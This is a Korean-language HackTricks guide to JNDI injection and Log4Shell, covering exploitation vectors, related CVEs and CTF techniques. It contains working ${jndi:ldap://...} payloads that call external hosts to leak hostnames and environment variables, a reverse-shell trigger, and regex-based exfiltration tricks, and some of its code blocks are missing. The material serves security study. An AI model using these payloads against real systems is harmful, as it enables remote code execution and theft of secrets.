JNDI - Java Naming and Directory Interface & Log4Shell
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Basic Information
JNDI는 1990년대 후반부터 Java에 통합되어 데이터나 객체를 이름 체계를 통해 찾을 수 있는 디렉토리 서비스 역할을 합니다. 다양한 디렉토리 서비스를 지원하며, 서비스 제공자 인터페이스(SPIs)를 통해 원격 Java 객체를 포함한 다양한 시스템에서 데이터를 검색할 수 있습니다. 일반적인 SPI에는 CORBA COS, Java RMI Registry 및 LDAP가 포함됩니다.
JNDI Naming Reference
Java 객체는 JNDI Naming References를 사용하여 저장하고 검색할 수 있으며, 두 가지 형태로 제공됩니다:
Reference Addresses: 객체의 위치를 지정합니다(예: rmi://server/ref), 지정된 주소에서 직접 검색할 수 있습니다.
Remote Factory: 원격 팩토리 클래스를 참조합니다. 접근 시, 클래스가 원격 위치에서 다운로드되고 인스턴스화됩니다.
그러나 이 메커니즘은 악용될 수 있으며, 임의의 코드 로딩 및 실행으로 이어질 수 있습니다. 이에 대한 대응책은 다음과 같습니다:
RMI: JDK 7u21부터 기본적으로
java.rmi.server.useCodeabseOnly = true
로 설정되어 원격 객체 로딩을 제한합니다. 보안 관리자가 로딩할 수 있는 항목을 추가로 제한합니다.LDAP: JDK 6u141, 7u131, 8u121부터 기본적으로
com.sun.jndi.ldap.object.trustURLCodebase = false
로 설정되어 원격으로 로드된 Java 객체의 실행을 차단합니다.true
로 설정하면 보안 관리자의 감독 없이 원격 코드 실행이 가능합니다.CORBA: 특정 속성이 없지만 보안 관리자는 항상 활성화되어 있습니다.
그러나 JNDI 링크를 해결하는 역할을 하는 Naming Manager는 내장 보안 메커니즘이 부족하여 모든 출처에서 객체를 검색할 수 있는 위험이 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회할 수 있어 임의의 Java 객체를 로드하거나 기존 애플리케이션 구성 요소(가젯)를 악용하여 악성 코드를 실행할 수 있습니다.
악용 가능한 URL의 예는 다음과 같습니다:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
보호에도 불구하고, JNDI를 신뢰할 수 없는 출처에서 로드하는 것에 대한 보호 장치가 부족하고 기존 보호를 우회할 수 있는 가능성 때문에 취약점이 남아 있습니다.
JNDI Example
**PROVIDER_URL
**을 설정했더라도 조회에서 다른 것을 지정할 수 있으며, 접근할 수 있습니다: ctx.lookup("<attacker-controlled-url>")
이는 공격자가 자신이 제어하는 시스템에서 임의의 객체를 로드하는 데 악용할 것입니다.
CORBA Overview
CORBA(공통 객체 요청 브로커 아키텍처)는 원격 객체를 고유하게 식별하기 위해 **Interoperable Object Reference (IOR)**를 사용합니다. 이 참조는 다음과 같은 필수 정보를 포함합니다:
Type ID: 인터페이스의 고유 식별자.
Codebase: 스텁 클래스를 얻기 위한 URL.
특히, CORBA는 본질적으로 취약하지 않습니다. 보안을 보장하려면 일반적으로 다음이 필요합니다:
Security Manager 설치.
보안 관리자를 구성하여 잠재적으로 악성 코드베이스에 대한 연결을 허용합니다. 이는 다음을 통해 달성할 수 있습니다:
소켓 권한, 예:
permissions java.net.SocketPermission "*:1098-1099", "connect";
.파일 읽기 권한, 전역적으로(
permission java.io.FilePermission "<<ALL FILES>>", "read";
) 또는 악성 파일이 배치될 수 있는 특정 디렉토리에 대해.
그러나 일부 공급업체 정책은 기본적으로 이러한 연결을 허용할 수 있습니다.
RMI Context
RMI(원격 메서드 호출)의 경우 상황이 다소 다릅니다. CORBA와 마찬가지로 임의의 클래스 다운로드는 기본적으로 제한됩니다. RMI를 악용하려면 일반적으로 보안 관리자를 우회해야 하며, 이는 CORBA에서도 관련이 있습니다.
LDAP
우선, 검색과 조회를 구분해야 합니다.
검색은 ldap://localhost:389/o=JNDITutorial
과 같은 URL을 사용하여 LDAP 서버에서 JNDITutorial 객체를 찾고 속성을 검색합니다.
조회는 이름 서비스를 위한 것으로, 이름에 바인딩된 모든 것을 얻고자 할 때 사용됩니다.
LDAP 검색이 SearchControls.setReturningObjFlag()를 true
로 설정하여 호출되면, 반환된 객체가 재구성됩니다.
따라서 이러한 옵션을 공격할 수 있는 여러 방법이 있습니다. 공격자는 LDAP 레코드를 오염시켜 페이로드를 주입할 수 있습니다. 이는 LDAP 서버에 접근할 수 있는 경우 수십 대의 머신을 손상시키는 데 매우 유용합니다. 이를 악용하는 또 다른 방법은 LDAP 검색에서 MitM 공격을 수행하는 것입니다.
애플리케이션이 JNDI LDAP URL을 해결하도록 만들 수 있는 경우, 검색할 LDAP를 제어할 수 있으며, 익스플로잇을 반환할 수 있습니다(로그4쉘).
Deserialization exploit
익스플로잇은 직렬화되어 역직렬화됩니다.
trustURLCodebase
가 true
인 경우, 공격자는 코드베이스에 자신의 클래스를 제공할 수 있으며, 그렇지 않으면 클래스 경로에서 가젯을 악용해야 합니다.
JNDI Reference exploit
JavaFactory 참조를 사용하여 이 LDAP를 공격하는 것이 더 쉽습니다:
Log4Shell Vulnerability
이 취약점은 Log4j에서 특수 구문을 지원하기 때문에 발생합니다. 이 구문은 ${prefix:name}
형식이며, 여기서 prefix
는 여러 다른 Lookups 중 하나이고 name
은 평가되어야 합니다. 예를 들어, ${java:version}
은 현재 실행 중인 Java 버전입니다.
LOG4J2-313은 jndi
Lookup 기능을 도입했습니다. 이 기능은 JNDI를 통해 변수를 검색할 수 있게 해줍니다. 일반적으로 키는 자동으로 java:comp/env/
로 접두사가 붙습니다. 그러나 키 자체에 **":"**가 포함되면 이 기본 접두사가 적용되지 않습니다.
키에 :가 있는 경우, 예를 들어 ${jndi:ldap://example.com/a}
와 같이 접두사가 없으며 LDAP 서버에 객체가 쿼리됩니다. 이러한 Lookups는 Log4j의 구성 및 로그가 기록될 때 모두 사용될 수 있습니다.
따라서 RCE를 얻기 위해 필요한 것은 사용자가 제어하는 정보를 처리하는 취약한 버전의 Log4j입니다. 이 라이브러리는 Java 애플리케이션에서 정보를 기록하는 데 널리 사용되기 때문에(인터넷에 노출된 애플리케이션 포함) HTTP 헤더와 같은 정보를 기록하는 log4j가 일반적이었습니다. 그러나 log4j는 HTTP 정보만 기록하는 것이 아니라 개발자가 지정한 모든 입력 및 데이터도 기록합니다.
Overview of Log4Shell-Related CVEs
CVE-2021-44228 [Critical]
이 취약점은 log4j-core
구성 요소의 중요한 신뢰할 수 없는 역직렬화 결함으로, 2.0-beta9에서 2.14.1까지의 버전에 영향을 미칩니다. 이는 **원격 코드 실행(RCE)**을 허용하여 공격자가 시스템을 장악할 수 있게 합니다. 이 문제는 Alibaba Cloud Security Team의 Chen Zhaojun에 의해 보고되었으며, 다양한 Apache 프레임워크에 영향을 미칩니다. 2.15.0 버전의 초기 수정은 불완전했습니다. 방어를 위한 Sigma 규칙이 제공됩니다 (Rule 1, Rule 2).
CVE-2021-45046 [Critical]
처음에는 낮은 등급으로 평가되었으나 나중에 중요한 등급으로 업그레이드된 이 CVE는 CVE-2021-44228에 대한 2.15.0의 불완전한 수정으로 인해 발생한 서비스 거부(DoS) 결함입니다. 이는 비기본 구성에 영향을 미치며, 공격자가 조작된 페이로드를 통해 DoS 공격을 유발할 수 있습니다. 트윗에서 우회 방법을 보여줍니다. 이 문제는 메시지 조회 패턴을 제거하고 기본적으로 JNDI를 비활성화하여 2.16.0 및 2.12.2 버전에서 해결되었습니다.
CVE-2021-4104 [High]
Log4j 1.x 버전에 영향을 미치는 이 CVE는 비기본 구성에서 JMSAppender
를 사용하는 신뢰할 수 없는 역직렬화 결함입니다. 1.x 브랜치에 대한 수정은 제공되지 않으며, log4j-core 2.17.0
으로 업그레이드하는 것이 권장됩니다.
CVE-2021-42550 [Moderate]
이 취약점은 Log4j 1.x의 후속인 Logback 로깅 프레임워크에 영향을 미칩니다. 이전에는 안전하다고 생각되었으나, 이 프레임워크가 취약한 것으로 밝혀졌으며, 문제를 해결하기 위해 새로운 버전(1.3.0-alpha11 및 1.2.9)이 출시되었습니다.
CVE-2021-45105 [High]
Log4j 2.16.0에는 DoS 결함이 포함되어 있으며, CVE를 수정하기 위해 log4j 2.17.0
이 출시되었습니다. 추가 세부정보는 BleepingComputer의 보고서에서 확인할 수 있습니다.
log4j 버전 2.17에 영향을 미치는 이 CVE는 공격자가 log4j의 구성 파일을 제어해야 합니다. 이는 구성된 JDBCAppender를 통해 잠재적인 임의 코드 실행을 포함합니다. 추가 세부정보는 Checkmarx 블로그 게시물에서 확인할 수 있습니다.
Log4Shell Exploitation
Discovery
이 취약점은 보호되지 않은 경우 매우 쉽게 발견될 수 있습니다. 왜냐하면 페이로드에 지정한 주소로 최소한 DNS 요청을 보낼 것이기 때문입니다. 따라서 다음과 같은 페이로드가 있습니다:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(using canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(using interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(using Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(using dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
using (using huntress)
DNS 요청이 수신되었다고 해서 애플리케이션이 악용 가능하다는 의미는 아닙니다(또는 심지어 취약하다는 의미도 아닙니다). 이를 악용하려고 시도해야 합니다.
버전 2.15를 악용하려면 localhost 확인 우회를 추가해야 합니다: ${jndi:ldap://127.0.0.1#...}
Local Discovery
다음 명령어로 로컬 취약한 버전의 라이브러리를 검색합니다:
검증
앞서 나열된 일부 플랫폼은 요청 시 기록될 일부 변수 데이터를 삽입할 수 있도록 허용합니다. 이는 두 가지에 매우 유용할 수 있습니다:
취약점을 검증하기 위해
취약점을 악용하여 정보를 유출하기 위해
예를 들어, 다음과 같은 요청을 할 수 있습니다:
또는 ${
**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
**와 같이 요청하면, 환경 변수의 값으로 DNS 요청이 수신되면, 애플리케이션이 취약하다는 것을 알 수 있습니다.
유출을 시도할 수 있는 다른 정보:
RCE 정보
JDK 버전 6u141, 7u131 또는 8u121 이상에서 실행되는 호스트는 LDAP 클래스 로딩 공격 벡터로부터 보호됩니다. 이는 com.sun.jndi.ldap.object.trustURLCodebase
의 기본 비활성화 때문으로, JNDI가 LDAP를 통해 원격 코드베이스를 로드하는 것을 방지합니다. 그러나 이러한 버전은 역직렬화 공격 벡터에 대해 보호되지 않음을 주의해야 합니다.
이러한 높은 JDK 버전을 악용하려는 공격자는 Java 애플리케이션 내에서 신뢰할 수 있는 가젯을 활용해야 합니다. ysoserial 또는 JNDIExploit과 같은 도구가 종종 이 목적에 사용됩니다. 반면, 낮은 JDK 버전을 악용하는 것은 상대적으로 더 쉽습니다. 이러한 버전은 임의의 클래스를 로드하고 실행하도록 조작할 수 있습니다.
자세한 정보 (RMI 및 CORBA 벡터에 대한 제한 사항과 같은) 는 이전 JNDI 명명 참조 섹션을 확인하거나 https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ 를 참조하세요.
RCE - Marshalsec와 사용자 정의 페이로드
THM 박스에서 테스트할 수 있습니다: https://tryhackme.com/room/solar
도구 marshalsec (jar 버전은 여기에서 사용 가능)를 사용하세요. 이 접근 방식은 LDAP 참조 서버를 설정하여 연결을 두 번째 HTTP 서버로 리디렉션합니다. 여기서 익스플로잇이 호스팅됩니다:
대상을 리버스 셸 코드를 로드하도록 유도하기 위해, 아래 내용을 포함한 Exploit.java
라는 이름의 Java 파일을 작성하십시오:
Java 파일을 클래스 파일로 컴파일하려면: javac Exploit.java -source 8 -target 8
를 사용하세요. 다음으로, 클래스 파일이 포함된 디렉토리에서 HTTP 서버를 시작하려면: python3 -m http.server
를 사용하세요. marshalsec LDAP 서버가 이 HTTP 서버를 참조하는지 확인하세요.
취약한 웹 서버에서 익스플로잇 클래스를 실행하도록 트리거하려면 다음과 유사한 페이로드를 전송하세요:
참고: 이 익스플로잇은 Java의 구성이 LDAP를 통해 원격 코드베이스 로딩을 허용하는 것에 의존합니다. 이것이 허용되지 않는 경우, 임의 코드 실행을 위해 신뢰할 수 있는 클래스를 이용하는 것을 고려하십시오.
RCE - JNDIExploit
어떤 이유로 저자는 log4shell 발견 이후 이 프로젝트를 github에서 제거했습니다. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고 싶다면 이 취약점을 이용하기 위해 다른 방법을 사용하십시오.
또한, wayback machine에서 소스 코드를 찾을 수 없으므로, 소스 코드를 분석하거나 실행하는 내용을 모른 채 jar 파일을 실행하십시오.
이 예제에서는 포트 8080에서 log4shell에 취약한 웹 서버를 실행할 수 있습니다: https://github.com/christophetd/log4shell-vulnerable-app (README에서 실행 방법을 찾을 수 있습니다). 이 취약한 앱은 취약한 버전의 log4shell로 HTTP 요청 헤더 _X-Api-Version_의 내용을 기록하고 있습니다.
그런 다음, JNDIExploit jar 파일을 다운로드하고 다음과 같이 실행할 수 있습니다:
코드를 몇 분 읽은 후, _com.feihong.ldap.LdapServer_와 _com.feihong.ldap.HTTPServer_에서 LDAP 및 HTTP 서버가 생성되는 방법을 볼 수 있습니다. LDAP 서버는 어떤 페이로드를 제공해야 하는지 이해하고, 피해자를 HTTP 서버로 리디렉션하여 익스플로잇을 제공합니다. _com.feihong.ldap.gadgets_에서는 원하는 작업을 실행하는 데 사용할 수 있는 특정 가젯을 찾을 수 있습니다(잠재적으로 임의 코드를 실행할 수 있음). 그리고 _com.feihong.ldap.template_에서는 익스플로잇을 생성하는 다양한 템플릿 클래스를 볼 수 있습니다.
모든 사용 가능한 익스플로잇은 **java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
**로 확인할 수 있습니다. 유용한 것들은 다음과 같습니다:
그래서, 우리의 예제에서 우리는 이미 그 취약한 도커 앱이 실행되고 있습니다. 공격하기 위해:
공격을 전송할 때 JNDIExploit-1.2-SNAPSHOT.jar를 실행한 터미널에서 일부 출력을 볼 수 있습니다.
다른 익스플로잇 옵션을 확인하려면 java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
를 확인하는 것을 잊지 마세요. 또한 필요할 경우 LDAP 및 HTTP 서버의 포트를 변경할 수 있습니다.
RCE - JNDI-Exploit-Kit
이전 익스플로잇과 유사하게, 이 취약점을 악용하기 위해 JNDI-Exploit-Kit를 사용할 수 있습니다. 희생자에게 보낼 URL을 생성하려면 다음을 실행하세요:
이 공격은 사용자 정의 생성된 자바 객체를 사용하여 THM 태양광 방과 같은 실험실에서 작동합니다. 그러나 기본적으로 Java가 LDAP를 사용하여 원격 코드베이스를 로드하도록 구성되지 않았기 때문에 일반적으로 작동하지 않을 것입니다. 이는 임의 코드를 실행하기 위해 신뢰할 수 있는 클래스를 악용하지 않기 때문이라고 생각합니다.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 또 다른 도구입니다.\
RCE - ysoserial & JNDI-Exploit-Kit
이 옵션은 지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 정말 유용합니다. 따라서 ysoserial은 임의 코드를 실행하는 데 사용할 수 있는 신뢰할 수 있는 클래스의 직렬화를 생성하는 데 사용됩니다 (ysoserial에 의해 악용된 신뢰할 수 있는 클래스는 공격이 작동하기 위해 피해자 자바 프로그램에서 사용되어야 합니다).
ysoserial 또는 ysoserial-modified를 사용하여 JNDI에 의해 다운로드될 역직렬화 공격을 생성할 수 있습니다:
JNDI-Exploit-Kit를 사용하여 JNDI 링크를 생성합니다. 여기서 익스플로잇은 취약한 머신으로부터의 연결을 기다립니다. JNDI-Exploit-Kit에 의해 자동으로 생성될 수 있는 다양한 익스플로잇을 제공하거나, 심지어 자신의 역직렬화 페이로드(자신이 생성한 것 또는 ysoserial)를 사용할 수 있습니다.
이제 생성된 JNDI 링크를 사용하여 취약점을 악용하고 취약한 버전의 log4j에 다음을 전송하여 리버스 셸을 얻을 수 있습니다: ${ldap://10.10.14.10:1389/generated}
우회 방법
Automatic Scanners
https://github.com/palantir/log4j-sniffer - 로컬 취약한 라이브러리 찾기
Labs to test
Post-Log4Shell Exploitation
이 CTF writeup에서는 Log4J의 일부 기능을 악용할 수 있는 방법이 잘 설명되어 있습니다.
Log4j의 보안 페이지에는 흥미로운 문장이 있습니다:
버전 2.16.0 (Java 8용)부터는 메시지 조회 기능이 완전히 제거되었습니다. 구성에서의 조회는 여전히 작동합니다. 게다가, Log4j는 이제 기본적으로 JNDI 접근을 비활성화합니다. 구성에서의 JNDI 조회는 이제 명시적으로 활성화해야 합니다.
버전 2.17.0부터 (Java 7 및 Java 6의 경우 2.12.3 및 2.3.1), 구성에서의 조회 문자열만 재귀적으로 확장됩니다; 다른 사용에서는 최상위 조회만 해결되며, 중첩된 조회는 해결되지 않습니다.
이는 기본적으로 jndi
익스플로잇을 사용하는 것을 잊을 수 있음을 의미합니다. 게다가, 재귀 조회를 수행하려면 이를 구성해야 합니다.
예를 들어, 이 CTF에서는 log4j2.xml 파일에서 이렇게 구성되었습니다:
Env Lookups
In this CTF 공격자는 ${sys:cmd}
의 값을 제어하고 환경 변수에서 플래그를 유출해야 했습니다.
이전 페이로드에서 볼 수 있듯이, **${env:FLAG}
**와 같은 환경 변수에 접근하는 다양한 방법이 있습니다. 이 CTF에서는 쓸모가 없었지만 다른 실제 시나리오에서는 유용할 수 있습니다.
Exfiltration in Exceptions
CTF에서는 log4J를 사용하여 java 애플리케이션의 stderr에 접근할 수 없었지만, Log4J 예외는 stdout으로 전송되었고, 이는 파이썬 앱에 출력되었습니다. 이는 예외를 발생시켜 내용을 접근할 수 있음을 의미했습니다. 플래그를 유출하기 위한 예외는: ${java:${env:FLAG}}
. 이는 **${java:CTF{blahblah}}
**가 존재하지 않기 때문에 작동하며, 플래그의 값이 있는 예외가 표시됩니다:
Conversion Patterns Exceptions
언급하자면, 새로운 변환 패턴을 주입하고 stdout
에 기록될 예외를 발생시킬 수도 있습니다. 예를 들어:
이것은 오류 메시지 내의 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문입니다. 그러나 감지와 같은 다른 용도로 유용할 수 있습니다.
Conversion Patterns Regexes
그러나 정규 표현식을 지원하는 일부 변환 패턴을 사용하여 정규 표현식을 사용하고 이진 검색 또는 시간 기반 동작을 악용하여 조회에서 정보를 유출할 수 있습니다.
예외 메시지를 통한 이진 검색
변환 패턴 **%replace
**는 정규 표현식을 사용하여 문자열의 내용을 대체하는 데 사용할 수 있습니다. 작동 방식은 다음과 같습니다: replace{pattern}{regex}{substitution}
이 동작을 악용하여 정규 표현식이 문자열 내의 어떤 것과도 일치하면 예외를 발생시키고 일치하지 않으면 예외가 발생하지 않도록 만들 수 있습니다:
시간 기반
앞서 언급했듯이, **%replace
**는 정규 표현식을 지원합니다. 따라서 플래그가 발견될 경우 타임아웃을 유발하기 위해 ReDoS 페이지에서 페이로드를 사용할 수 있습니다.
예를 들어, %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
와 같은 페이로드는 해당 CTF에서 타임아웃을 유발합니다.
이 작성물에서는 ReDoS 공격 대신 증폭 공격을 사용하여 응답의 시간 차이를 유발했습니다:
플래그가
flagGuess
로 시작하면 전체 플래그는 29개의#
로 대체됩니다 (이 문자를 사용한 이유는 플래그의 일부가 아닐 가능성이 높기 때문입니다). 결과적으로 29개의#
는 54개의#
로 대체됩니다. 이 과정은 6번 반복되어 총29*54*54^6* =`` ``
96816014208
#
가 생성됩니다!이렇게 많은
#
를 대체하면 Flask 애플리케이션의 10초 타임아웃이 발생하여 HTTP 상태 코드 500이 사용자에게 전송됩니다. (플래그가flagGuess
로 시작하지 않으면 500이 아닌 상태 코드를 받게 됩니다)
참고 문헌
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Last updated